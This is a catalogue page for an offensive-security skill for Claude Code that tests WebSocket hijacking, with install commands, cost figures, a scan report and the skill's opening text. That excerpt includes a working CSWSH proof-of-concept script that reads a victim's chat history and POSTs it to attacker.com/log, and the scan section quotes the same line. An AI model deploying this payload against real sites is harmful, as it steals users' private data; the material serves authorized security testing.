websocket-hijacking-testing

websocket-hijacking-testing is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 61 tokens per session (2,294 once invoked), scanned A, original, Apache-2.0.

A security-testing guide for WebSocket connections, which provide two-way, real-time communication between a browser and a server.

In plain words
What is it for?
It is for auditing real-time features such as chat, trading dashboards, collaborative tools, and multiplayer applications.
Why use it?
It helps find weak authentication and request-forgery protections that could let an attacker impersonate a user or alter live data.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin. Also seen: positional $N argument.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit It is for auditing real-time features such as chat, trading dashboards, collaborative tools, and multiplayer applications.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/websocket-hijacking-testing

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for websocket-hijacking-testing

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/websocket-hijacking-testing/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/websocket-hijacking-testing)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/websocket-hijacking-testing"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/websocket-hijacking-testing/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for websocket-hijacking-testing

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/websocket-hijacking-testing"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/websocket-hijacking-testing.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 61 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,294 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00061 $0.02294
Opus 5 $0.00030 $0.01147
Sonnet 5 $0.00012 $0.00459
Haiku 4.5 $0.00006 $0.00229

Measured 7d ago against content hash 1b9acb654ee8, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

websocket-hijacking-testing scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

fetch('https://attacker.com/log', { method: 'POST',

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

skills/bug-hunting/web-vulnerabilities/websocket-hijacking-testing/SKILL.md · 197 lines

How it starts

The opening of the file, as written. The whole thing — 197 lines — stays where its author put it; the contents beside it link to each section on GitHub.

WebSocket Security and Hijacking

When to Use

  • When traffic relies on wss:// (WebSocket Secure) protocol instead of standard HTTPS API requests.
  • When attacking applications boasting "real-time" sync (live stock tickers, crypto charts, messaging apps, multiplayer games).
  • To detect Cross-Site WebSocket Hijacking (CSWSH), which allows an attacker to establish a valid bidirectional socket over the victim's session.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Analyzing the Handshake

# Concept: WebSockets begin life as a standard HTTP GET request seeking an "Upgrade"
# to the WebSocket protocol. If the server authenticates this solely via Cookies without
# CSRF protection (like an Anti-CSRF token), it is vulnerable to CSWSH.

# 1. Intercept the Connection Upgrade in Burp Suite
GET /chat/socket HTTP/1.1
Host: wss.target.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Cookie: session_id=xyz123...

# Observe: Is there an Anti-CSRF token in the URL or headers? (e.g., `?token=random123`)
# If NO, and the connection relies strictly on the `session_id` cookie, proceed to Phase 2.

Phase 2: Cross-Site WebSocket Hijacking (CSWSH) Execution

<!-- Concept: Similar to CSRF, we trick the victim's browser into executing an action. -->
<!-- However, CSWSH is devastating because the attacker gains a persistent, TWO-WAY 
     read/write connection to the application, unlike normal CSRF which is "fire and forget". -->

<!-- 1. Host this exploit payload on attacker.com -->
<!-- When the victim views this page, their browser automatically attaches their `session_id` cookie. -->

<script>
    // Initiate the WebSocket connection to the target
    var ws = new WebSocket('wss://wss.target.com/chat/socket');
    
    // When the socket opens, send a command simulating the victim
    ws.onopen = function() {
        ws.send(JSON.stringify({"action": "get_chat_history"}));
    };
    
    // When the server responds with the massive chat history payload...
    ws.onmessage = function(event) {
        // Exfiltrate the victim's read data back to our attacker server
        fetch('https://attacker.com/log', {
            method: 'POST',
            body: event.data
        });
    };
</script>

Read the full file on GitHub · 197 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 197 lines · 61 tokens per session scan A 1b9acb654ee8

Subscribe to this mod's changes

websocket-hijacking-testing is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 61 tokens to every session and 2,294 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (sends data to an external url). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

broken-object-level-authorization

Identify and exploit Broken Object Level Authorization (BOLA), historically known as Insecure Direct Object Reference (IDOR), in API architectures. Extremely common and critical flaw where an API fails to validate whether the currently authenticated user actually owns or retains permissions over the specifically…

ShulkwiSEC/bb-huge · 63 tokens

cors-misconfiguration-exploitation

Identify and exploit Cross-Origin Resource Sharing (CORS) misconfigurations. Use this skill when auditing APIs or web applications that share sensitive data across domains, forcing victims' browsers to inadvertently leak private information (e.g., API keys, PII, CSRF tokens) to an attacker-controlled website.

ShulkwiSEC/bb-huge · 67 tokens

command-injection-os-level

Identify and exploit OS Command Injection vulnerabilities where web applications insecurely pass user input into system shell commands. Use this skill when applications feature ping utilities, file conversions, network diagnostics, or PDF generators to execute arbitrary system commands and achieve Remote Code…

ShulkwiSEC/bb-huge · 58 tokens

api-mass-assignment-exploitation

Identify and exploit Mass Assignment vulnerabilities in APIs. Use this skill when testing REST APIs or application forms that directly map user-supplied JSON or POST input to internal database objects. An attacker can inject undocumented variables (e.g., isadmin, verified) to illegally modify restricted properties.

ShulkwiSEC/bb-huge · 68 tokens

clickjacking-ui-redressing

Identify and exploit Clickjacking (UI Redressing) vulnerabilities where a malicious website iframes a target application, tricking victims into performing unintended actions (e.g., transferring funds, deleting accounts, or granting permissions) via hidden layers.

ShulkwiSEC/bb-huge · 55 tokens

csrf-token-bypass-techniques

Identify and exploit Cross-Site Request Forgery (CSRF) vulnerabilities by bypassing weak or flawed anti-CSRF token implementations, SameSite cookie attributes, and Origin/Referer headers. Use this skill when testing state-changing web application endpoints for session riding attacks. Covers token removal, token…

ShulkwiSEC/bb-huge · 79 tokens